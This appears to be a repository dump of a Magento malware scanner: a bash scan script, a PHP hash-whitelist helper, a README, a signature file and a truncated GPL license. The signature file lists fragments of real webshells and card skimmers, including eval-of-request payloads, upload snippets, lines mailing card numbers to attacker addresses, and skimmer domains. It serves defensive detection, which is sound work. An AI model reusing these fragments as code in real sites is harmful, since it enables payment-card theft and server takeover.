├── whitelistprocessor.php ├── README.md ├── magesecurityscan.sh ├── rules.txt ├── LICENSE └── yararules.yar /whitelistprocessor.php: -------------------------------------------------------------------------------- 1 | 1) { 23 | $scanlist[$split[1]] = $split[0]; 24 | } 25 | } 26 | #} else { 27 | # foreach ($lines as $line) { 28 | # $split = explode(' ',$line); 29 | # if (count($split) > 1) { 30 | # $scanlist[$split[8]] = $split[4]; 31 | # } 32 | # } 33 | #} 34 | foreach ($scanlist as $file => $hash) { 35 | $basename = basename($file); 36 | #print $hash.' '.$file."\n"; 37 | if (isset($whitelist[$basename])) { 38 | if (in_array($hash,$whitelist[$basename])) { 39 | unset($scanlist[$file]); 40 | #print 'matched: '.$hash.' '.$file."\n"; 41 | } 42 | } 43 | } 44 | 45 | $scanfile = ''; 46 | foreach ($scanlist as $file=>$hash) { 47 | $scanfile .= $file."\n"; 48 | } 49 | 50 | file_put_contents($workingdir.'/'.$argv[1],$scanfile); 51 | ?> 52 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # magesecurityscanner 2 | ### Malware Detection Suite for Magento 3 | 4 | The magesecurityscanner project is a scanner for known Magento malware. The scanner uses yara (http://virustotal.github.io/yara/) for malware scanning as well as customized whitelisting for known good magento core files to speed up scanning. If yara is not installed it will default back to using grep to find malware strings, however yara is recommened to be installed for more granular scanning. 5 | 6 | Rules have been contributed by: 7 | Magemojo - http://magemojo.com 8 | Willem de Groot - https://github.com/gwillem/magento-malware-scanner 9 | 10 | ### Usage: ./magescecurityscan.sh [fast|standard|deep] [ all|code] [ hash|size|none] 11 | 12 | ### Path to Scan 13 | Defines the path to scan, recursively scans all subfolders 14 | 15 | ### Rules File 16 | The rules file to use, yararules.yar and yararules-deep.yar are supplied. The deep scan file can include false positives and is used primarily for discovery of new malware. 17 | 18 | ### Scan Type 19 | **deep** 20 | 21 | * scans files with all rules, includes loose rules for code obfuscation 22 | * includes sha1 whitelist 23 | * defaults to all precision 24 | 25 | **standard** 26 | 27 | * scans files with rules with no known false positives 28 | * includes sha1 whitelist 29 | * defaults to code only precision 30 | 31 | **fast** 32 | 33 | * scans files with rules with no known false positives 34 | * includes file size whitelist 35 | * defaults to code only precision 36 | 37 | ### Scan Precision 38 | * all - scans all files and subdirectories regardless of type 39 | * code - scans files with the following extensions php,phtml,js,html 40 | 41 | ### Whitelist Option 42 | Defines the type of whitelist to use. Scans based on filesize could potentially be decieved however are mush faster than the hash method. Specifing none will scan all files. 43 | -------------------------------------------------------------------------------- /magesecurityscan.sh: -------------------------------------------------------------------------------- 1 | #/bin/bash 2 | WORKINGDIR='magesecurityscan' 3 | 4 | #Input Validation 5 | if [ -z $1 ] || [ -z $2 ] 6 | then 7 | DIE=1 8 | else 9 | SCANPATH=$1 10 | if [ ! -e $SCANPATH ] 11 | then 12 | DIE=1 13 | MESSAGE='Path not found' 14 | fi 15 | RULES=$2 16 | if [ ! -e $RULES ] 17 | then 18 | DIE=1 19 | MESSAGE='Rules file not found' 20 | fi 21 | fi 22 | 23 | if [ ! -z $3 ] 24 | then 25 | if [ "$3" != "standard" ] && [ "$3" != "deep" ] && [ "$3" != "fast" ] 26 | then 27 | DIE=1 28 | MESSAGE="Invalid scan type specified" 29 | else 30 | SCANTYPE=$3 31 | fi 32 | else 33 | SCANTYPE='standard' 34 | fi 35 | 36 | if [ ! -z $4 ] 37 | then 38 | if [ "$4" != "code" ] && [ "$4" != "all" ] 39 | then 40 | DIE=1 41 | MESSAGE="Invalid scan precision specified" 42 | else 43 | PRECISION=$4 44 | fi 45 | else 46 | if [ "$SCANTYPE" = 'deep' ] 47 | then 48 | PRECISION='all' 49 | else 50 | PRECISION='code' 51 | fi 52 | fi 53 | 54 | if [ ! -z $5 ] 55 | then 56 | if [ "$5" != "hash" ] && [ "$5" != "size" ] && [ "$5" != "none" ] 57 | then 58 | DIE=1 59 | MESSAGE="Invalid whitelist option specified" 60 | else 61 | WHITELIST=$5 62 | fi 63 | else 64 | if [ "$SCANTYPE" = 'fast' ] 65 | then 66 | WHITELIST='size' 67 | else 68 | WHITELIST='hash' 69 | fi 70 | fi 71 | 72 | if [ $DIE ] 73 | then 74 | echo 'Usage: ./magescecurityscan.sh [fast|standard|deep] [ all|code] [ hash|size|none]' 75 | echo $MESSAGE 76 | exit 0 77 | fi 78 | #End Input Validation 79 | 80 | #Checking YARA Instalation 81 | YARA=`which yara` 82 | if [ ! -n "$YARA" ] 83 | then 84 | echo "The yara package has not been found. For the best scanning results it is recommended that yara should be installed. Defaulting to grep for pattern matching using rules.txt" 85 | fi 86 | 87 | #Setting Scan Options 88 | if [ $PRECISION == 'code' ] 89 | then 90 | if [ $WHITELIST == 'size' ] 91 | then 92 | find $SCANPATH -type f \( -iname \*.php -o -iname \*.js -o -iname \*.phtml -o -iname \*.html \) -printf "%s %p\n" > $WORKINGDIR/scanlist 93 | elif [ $WHITELIST == 'hash' ] 94 | then 95 | find $SCANPATH -type f \( -iname \*.php -o -iname \*.js -o -iname \*.phtml -o -iname \*.html \) -exec sha1sum {} \; > $WORKINGDIR/scanlist 96 | else 97 | find $SCANPATH -type f \( -iname \*.php -o -iname \*.js -o -iname \*.phtml -o -iname \*.html \) > $WORKINGDIR/scanlist 98 | fi 99 | else 100 | if [ $WHITELIST == 'size' ] 101 | then 102 | find $SCANPATH -type f -printf "%s %p\n" > $WORKINGDIR/scanlist 103 | elif [ $WHITELIST == 'hash' ] 104 | then 105 | find $SCANPATH -type f -exec sha1sum {} \; > $WORKINGDIR/scanlist 106 | else 107 | find $SCANPATH -type f > $WORKINGDIR/scanlist 108 | fi 109 | fi 110 | #End Setting Scan Options 111 | 112 | #Process files to be whitelisted 113 | if [ $WHITELIST != 'none' ] 114 | then 115 | php whitelistprocessor.php scanlist $WHITELIST $WORKINGDIR 116 | fi 117 | 118 | SCANFILE="$WORKINGDIR/scanlist" 119 | while IFS= read -r line 120 | do 121 | if [ -e "$line" ] 122 | then 123 | if [ ! -n "$YARA" ] 124 | then 125 | grep -H -F -f rules.txt "$line" 126 | else 127 | result=`yara -s $RULES "$line"` 128 | if [ -n "$result" ] 129 | then 130 | echo $result | tr '\n' ' ' 131 | echo ' ' 132 | fi 133 | fi 134 | fi 135 | done <"$SCANFILE" 136 | -------------------------------------------------------------------------------- /rules.txt: -------------------------------------------------------------------------------- 1 | magecard.xyz 2 | Mage_Cms_Auth_ 3 | svchost.exe 4 | fullword ascii 5 | soulmagic.biz 6 | soulmagic 7 | java-e-shop.com 8 | fozzy.com 9 | confspy.log 10 | c0li.m0de.0n 11 | usr/bin/perl 12 | etc/passwd 13 | Mag Log1n 14 | /usr/bin/host 15 | L2hvbWUveXVtaS9wdWJsaWNfaHRtbC9tZWRpYS9jYXRhbG9nL3Byb2R1Y3QvYi84L2I4YTRmNmQyLWY0OWQtNDA5OC04OTFjLWQ3NDNiOTQyZmVlMy5qcGc= 16 | @touch($ajax,1325548800,1325548800) 17 | function p($bkdbrqyvb, $ylzhxco){$lqqqqudl 18 | x69x66x28x21x66x75x6ex63x74x69x6fx6ex5fx65x78x69x73x74x73x28x22xa0x22x29x29x7bx66x75x6ex63x74x69x6fx6ex20xa0x28x29x7bx24xa0x3dx73x74x72x5fx72x65x70x6cx61x63x65x28x61x72x72x61x79x28x27x23x73x21x73x23x27x2cx27x23x65x21x65x23x27x2cx27x23x30x21x30x23x27x29x2cx61x72x72x61x79x28x27x3cx27x2cx27x3ex27x2cx22x5cx30x22x29x2cx6fx62x5fx67x65x74x5fx63x6cx65x61x6ex28x29x29x3bx66x6fx72x28x24xa0xa0x3dx31x2cx24xa0xa0xa0x3dx6fx72x64x28x24xa0x5bx30x5dx29x3bx24xa0xa0x3cx73x74x72x6cx65x6ex28x24xa0x29x3bx24xa0xa0x2bx2bx29x24xa0x5bx24xa0xa0x5dx3dx63x68x72x28x6fx72x64x28x24xa0x5bx24xa0xa0x5dx29x2dx24xa0xa0xa0x2dx24xa0xa0x29x3bx24xa0x5bx30x5dx3dx27x20x27x3bx72x65x74x75x72x6ex20x24xa0x3bx7dx7d 19 | $xuew = Array( 20 | eval(mn($rq, $xuew)); 21 | =8k/9WnepdriVNcWD8UydY2Y2TWzq1KDWNm6Qj2SUMefJHh3ps4SVoU/HoAHF+ZYkak/isGyl/ndcG7ZRAgHgsl2zXD3nCfySH5iGPzIYJGeCf7vxVfIElR1eivIx8Yzm3I+A8rgoq1M9nV9+wzKB1r+7xXi2nTaxtlcZ/j5MtTGLpmep1fU9EZ626oNnJi5xEI0ksi03i8qgAp9SedXj9sOmDYC9dgrC/2ZL4PF4iGglOSRyF4wpo+ygMeBYWUow8ZjTOIVMPGXtpvJD5dnHwHYY54PK4nTCyPFCq2HmWjq+8cbqUClxcxyTakEUTod5a4EiUHYNrBauNqW5Whes8gnUEENvTFIdYWtAkv4wpYtx9Hs0QT8xs/BuG7s9WuL8G8QghUJ0QTjlLWzzvkrpvcKlBDl07WiXU2vpGJ66WqTf2UxUAYCHwCncC6UAGPue2oQY4LDVTdFmsfJQRlTFuMFvLl+ao7FUuiLOOuMS4TiHfeZrPhgYcIMpL1Y2XRsndiYdcMeNSEsDSo0WtCXSSbBYIQPxAy+RysQHghyKEacufCIBnUdLcnAuJqI50g1NzDE5ZneqD9p0DSnpCXKyk76uiZEuM2A1HdUd1cfJ9x+nf/GdazAGJzieOMdP99tIbHPPfD3Pps2MQJte8SjY8jgHWm4SfeOZxSQPziPbZ8UXMLB/+Vab5SltgPFspKsAZF1ODOhZtC4wgHZEsafojXAbAgrMyPZKv0QOf0DiL2Mmjc+QmFwRhWzPbi733sIvSD3grafLyN7nufxsbzNN2JIoNLyEDu+DdzQYgTIPS7Kz0URNcgoooIa 22 | eval(gzinflate(base64_decode(str_rot13(strrev( 23 | eval(gzinflate(base64_decode(str_rot13(strrev( 24 | if(md5(@$_COOKIE[ 25 | $s98b0504= 26 | chk_jschl 27 | jschl_vc 28 | jschl_answer 29 | 1337day.com 30 | altervista.org 31 | antichat.ru 32 | ccteam.ru 33 | crackfor 34 | darkc0de 35 | egyspider.eu 36 | exploit-db.com 37 | hashchecker.com 38 | hashkiller.com 39 | md5crack.com 40 | md5decrypter.com 41 | milw0rm.com 42 | packetstormsecurity 43 | rapid7.com 44 | visvo.com 45 | TiGER-M@TE 46 | IndoXploit 47 | Backd00r 48 | YXJkaWFuc3lhaDI1MDk5NkBnbWFpbC5jb20 49 | $ftplogin = ftp_login($ftpConn,$ftpuser,$ftppassword); 50 | Andela1C3 51 | Dark Shell 52 | (Web Shell by oRb) 53 | r0b0t Dd0s Php 54 | eval(stripslashes($_REQUEST 55 | ($_=@$_REQUEST[q]) 56 | b374k-shell 57 | amasty.biz 58 | ebizmart.biz 59 | base64_encode($dvs), 66 | $subject = $pay->getCcNumber().\" From \".$_SERVER['HTTP_HOST'].\"\"|.$setBilling['Country']; 67 | private function _storeInfos( 68 | mail($encode, $salt, $payfull, $headr); 69 | From: Logger CC Magento 70 | http://www.binlist.net/json/ 71 | fwrite($write,$invoice 72 | http://www.telize.com/geoip/\".$ipboss 73 | $idkey = \"base\".\"64\".\"_\".\"de\".\"code\"; 74 | tuyulnya.penjahat@gmail.com 75 | $message=\"$owner\n$ccnumber\n$expmont\n$expyear\n$issue\n$ip\"; 76 | kun.cahyono81@gmail.com 77 | fputs($logme, $line, strlen($line)); 78 | $curl_connection = curl_init('http://www.gamesmart.mx 79 | $encode = $idkey(\"ZGVtYWl3YWxkNDA0QGdtYWlsLmNvbQ==\"); 80 | magentopatchupdate.com 81 | $headr = 'From:'.$srvadd.'<'.$data2.'>'; 82 | RieqyNS13 83 | $message .=\"Location = \".$data17->geoplugin_city 84 | $idkey = 'YmVnYWxtYWdlbnRvQGdtYWlsLmNvbQ=='; 85 | http://bins.pro 86 | mVzdWx0YmFydTY5QGdtYWlsLmNvbQ== 87 | https://bins.ribbon.co 88 | Cassaprodigy 89 | specialsok.tgz 90 | $WP__WP='base'.(128/2).'_de' 91 | this['eval'](String['fromCharCode']' 92 | rUl6QttVEP5eqf9usxfJjgoOvdNWFSGoHDgluk+4ONwXQNbGniQLttfyrgkB8d9 93 | DNEcHdQbWtXU3dSMDA1VmZ1c29WUVFXdUhPT0xYb0k3ZDJyWmFVZlF5Y0ZEeHV4K2FnVmY0OUtjbzhnc0 94 | U3hkTVVibSt2MTgyRjY0VmZlQWo3d1VlaFJVNVNnSGZUVUhKZXdEbGxJUTlXWWlqWSt0cEtacUZOSXF4c 95 | rb2JHaTJVdURMNlhQZ1ZlTGVjVnFobVdnMk5nbDlvbEdBQVZKRzJ1WmZUSjdVOWNwWURZYlZ0L1BtNCt 96 | eval(base64_decode($_POST 97 | eval($undecode($tongji)) 98 | eval($_POST 99 | WwW.Zone-Org 100 | echo eval(urldecode( 101 | $ = /eval([wd]+($[wd]+, $[wd]+));/ 102 | $dez = $pwddir.\"/\".$real;copy($uploaded, $dez); 103 | eval(xxtea_decrypt 104 | ** Scam Redirector 105 | curl_close($cu);eval($o);};die(); 106 | fopen(\"cache.php\", \"w+\") 107 | 0B6KVua7D2SLCNDN2RW1ORmhZRWs/sp_tilang.js 108 | if(@copy($_FILES['file']['tmp_name'],$_FILES['file']['name'])) {echo 'up!!!

';}} 109 | echo \"IndoXploit - Auto Xploiter\" 110 | eval(base64_decode($a)); 111 | eval(gzinflate(base64_decode(str_rot13(strrev( 112 | $ = /]+.(jpg|png|gif)>\s*ForceType application\/x-httpd-php/ 113 | attribute_code=0x70617373776f72645f68617368 114 | $ = /JPEG-1\.1[a-zA-Z0-9\-\/]{32}/ 115 | $ = /file_put_contents\(\$.{2,3},'JPEG-1\.1'\.base64_encode/ 116 | $ = /error_reporting(0);$f=$_FILES[w+];copy($f[tmp_name],$f[name]);error_reporting(E_ALL);/ 117 | $ = /if\(md5\(@\$_COOKIE\[..\]\)=='.{32}'\) \(\$_=@\$_REQUEST\[.\]\).@\$_\(\$_REQUEST\[.\]\);/ 118 | @eval(stripslashes($_REQUEST[q])); 119 | \x6F\x6E\x65\x70\x61\x67\x65\x7C\x63\x68\x65\x63\x6B\x6F\x75\x74 120 | 5e908r948q9e605j8t9b915n5o9f8r5e5d969g9d795b4s6p8t9h9f978o8p8s9590936l6k8j9670524p7490915l5f8r90878t917f7g8p8o8p8k9c605i8d937t7m8i8q8o8q959h7p828e7r8e7q7e8m8o5g5e9199918o9g7q7c8c8t99905a5i8l94989h7r7g8i8t8m5f5o92917q7k9i9e948c919h925a5d8j915h608t8p8t9f937b7k9i9e948c919h92 121 | 118,97,114,32,115,110,100,32,61,110,117,108,108,59,10,10,102,117 122 | t_p#0.qlb#0.#1Blsjj#1@#.?#.?dslargml#0.qr_pr#06#07#5@#.?#0 123 | \x2F\x6D\x65\x64\x69\x61\x2F\x63\x61\x74\x61\x6C\x6F\x67\x2F\x70\x72\x6F\x64\x75\x63\x74\x2F\x63\x61\x63\x68\x65\x2F\x31\x2F\x74\x68\x75\x6D\x62\x6E\x61\x69\x6C\x2F\x37\x30\x30\x78\x2F\x32\x62\x66\x38\x66\x32\x62\x38\x64\x30\x32\x38\x63\x63\x65\x39\x36\x2F\x42\x2F\x57\x2F\x64\x61\x34\x31\x38\x30\x33\x63\x63\x39\x38\x34\x62\x38\x63\x2E\x70\x68\x70 124 | \x69\x70\x2e\x35\x75\x75\x38\x2e\x63\x6f\x6d 125 | cloudfusion.me 126 | var grelos_v 127 | infopromo.biz 128 | jquery-code.su 129 | jquery-css.su 130 | megalith-games.com 131 | cdn-cloud.pw 132 | animalzz921.pw 133 | \x6D\x61\x67\x65\x2D\x63\x64\x6E\x2E\x6C\x69\x6E\x6B 134 | RegExp(\"[0-9]{13,16}\") 135 | 105,102,40,40,110,101,119,32,82,101,103,69,120,112,40,39,111,110,101,112,97,103,101 136 | =oQKpkyJ8dCK0lGbwNnLn42bpRXYj9GbENDft12bkBjM8V2Ypx2c8Rnbl52bw12bDlkUVVGZvNWZkZ0M85WavpGfsJXd8R1UPB1NywXZtFmb0N3box 137 | tdsjqu!tsd>#iuuq;00hpphjfqmbz/jogp0nbhfoup`hpphjfqmbz/kt#?=0tdsjqu? 138 | onepage|checkout|onestep|firecheckout|onestepcheckout 139 | |RegExp|onepage|checkout| 140 | grelos_v= null 141 | function onESs($NTlWmu) 142 | public function check($email, $pwd){ 143 | \"Admin From \".$_SERVER['HTTP_HOST'] 144 | isset($_POST['_']))@setcookie('_', $_POST['_']); -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 